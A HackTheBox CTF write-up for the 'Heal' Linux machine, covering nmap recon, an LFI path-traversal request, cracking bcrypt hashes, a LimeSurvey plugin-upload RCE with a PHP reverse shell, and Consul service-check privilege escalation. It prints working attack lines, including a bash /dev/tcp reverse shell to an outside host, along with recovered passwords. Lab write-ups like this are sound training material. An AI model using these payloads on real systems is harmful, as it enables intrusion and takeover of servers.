> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Heal HackTheBox Writeup

Heal HackTheBox Medium Linux machine writeup covering LFI (Local File Inclusion), RCE (Remote Code Execution) in LimeSurvey, Hash Cracking with Hashcat, User Pivoting, with practical enumeration, expl

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**Skills:**

* LFI (Local File Inclusion)
* RCE (Remote Code Execution) in LimeSurvey
* Hash Cracking with Hashcat
* User Pivoting
* Privilege Escalation via Consul
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5e0cad16826278618ffd04d02829a8354c4d240%2Fimage%20(544).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-990e9b9defeedb391820e5901cfbdaca23d16540%2Fimage%20(545).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f51b492fe9c88110583760d5d97ce3e64966c93%2Fimage%20(546).png?alt=media" alt=""><figcaption></figcaption></figure>

Port Version Scan with Nmap: (22,80)

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be08528ad79001fff9f78c98dac55088470d37d6%2Fimage%20(547).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0661f2b1a138725fab1a18b56a8f8d324010fb9e%2F%7B0FF45857-4D47-4BA8-A332-DBDCC2FDC645%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d92a9d907475a4bd368c87ccb8cce8d9dc159591%2F%7B2F7D737A-6C23-41C6-A261-A4FBB8987C21%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

On the main site, we find the possibility to **create a user account**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-43789684ffcd932b7b202536f58d80efe63161f6%2Fimage%20(548).png?alt=media" alt=""><figcaption></figcaption></figure>

Once connected, one discovers a feature that allows **to export a CV in PDF format**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f952a5110983f52414c424c16e433ff03592de4%2Fimage%20(555).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2795b53a32b300fa507ca8beb5eb22336eb97514%2Fimage%20(556).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability LFI (Local File Inclusion)

#### Exploitation LFI via `resume`

By intercepting the CV download request, we discover a LFI vulnerability:

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> It is **mandatory to include token authentication**, otherwise the query fails.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7565eee89f9f9831a6e164e0da67d667a76a44ec%2F%7BBB2FC273-46B8-4371-83FD-0ED35536EBE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sensitive File Extraction

#### Access to SQLite database

By listing sensitive files, we discover a redirect to `/storage/development.sqlite3`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c09079575e3e7a7586b6fe7db3576086ae8990bb%2Fimage%20(557).png?alt=media" alt=""><figcaption></figcaption></figure>

The database is downloaded and two accounts are extracted with their **hashes bcrypt**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b20638366de9c0f128b4c47e46ce8f2d8476dbf%2Fimage%20(558).png?alt=media" alt=""><figcaption></figcaption></figure>

### Hash cracking

#### Using Hashcat

Use **Hashcat** to try cracking the hashes with `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> Result: we find the password for **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-debb850fe2a8921432fb8641ddaaafb78f416424%2Fimage%20(559).png?alt=media" alt=""><figcaption></figcaption></figure>

### Discovery of subdomain: `take-survey`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7687b8cc928b45176926323ff199f1660462ace%2Fimage%20(554).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Add the entry to `/etc/hosts`

A new sub-domain appears in the application. We add it to our host files

## Vulnerability LimeSurvey CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Access to admin space

It is discovered that the administration interface is accessible to the following URL:

`http://take-survey.heal.htb/index.php/admin`

We connect to Ralph's IDs:

* **Username** : `ralph`
* **Password** : `147258369`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

We found that the version used of LimeSurvey was **6.6.4**, which is vulnerable to a **Remote Code Execution (NCE)**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### RCE Exploitation via a Malicious Plugin

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

We adapted the operating script to our situation.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

First, we created a compressed file containing a `config.xml` file and a PHP shell reverse script:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

Then we installed this malicious plugin via the LimeSurvey web interface.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

By passing the mouse on the installed plugin, we detected the plugin ID.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

After editing the script to include this ID, we played on port 443:

```bash
nc -nlvp 443
```

Finally, we executed the exploit via Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Linux Terminal Stabilization:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting User ron

By exploring the machine, we found another user **ron**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6be7d8f6d5276338473401d246cb017a7be4bfb%2F%7B2F7E298B-6E90-4994-9452-18D007F91EAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

A configuration file in the `application` folder contained logins and passwords for database access:

* username = `db_user`
* password = `AdmiDi0_pA$$w0rd`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e4be832d5838c5fe07d6ce68c4a5b23c9c01a80%2Fimage%20(2967).png?alt=media" alt=""><figcaption></figcaption></figure>

With these credentials, we were able to access the account of **ron**, which enabled us to obtain the **flag user.txt**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ffe223c70d50441339f96b59fa178e27afd7ceb%2F%7B4EC0BEF1-07E3-46DD-B5FF-1BA92594D0E5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67e4da566347301781376224871385c1a5632019%2Fimage%20(2972).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilege Escalation**

### Discovery of Port 8500 (Consul)

Looking at the open ports, we found the port **8500**, which corresponds to the web interface of Consul.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-395e9c926077368a7753ba224f4eebd69e288f53%2Fimage%20(2973).png?alt=media" alt=""><figcaption></figcaption></figure>

After making a query on `127.0.0.1:8500/ui/`, we found the version of Consul **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d040b4c95cabc85ca3c2e2b4ffd002f55cd6994a%2Fimage%20(2974).png?alt=media" alt=""><figcaption></figcaption></figure>

#### REST API Access Check

We tested the Consul REST API to check if it was accessible without authentication:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

We obtained an answer confirming that the API was open.

### Exploitation via a Malicious Check

We recorded a service with a malicious check using a bash command to open a shell reverse to our machine:

```bash
nc -lvnp 4444
```

#### Register a service with a malicious check

Consul allows dynamic recording of services via an HTTP request. We use this to create a "check" that executes a bash command.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

What this payload does:

* `Check.Args[]`: contains a bash command that opens a **reverse shell**.
* `Interval`: Sets automatic execution every 10 seconds.

By running this payload, we managed to get a root shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d77caa5c205f91a5a3deb02118b9f7cef366ca3%2F%7BECA0A6E5-FC3C-4FE7-BFB8-AF9E5F0EEC6F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b150173a75b0b9b3df2594baa208531bcfb585c%2Fimage%20(2975).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-498936820a8e0f32b4dedfbc2b516d5e0e767069%2F%7B6A608BB4-A096-46A6-96C7-822A3D8F79F7%7D.png?alt=media" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
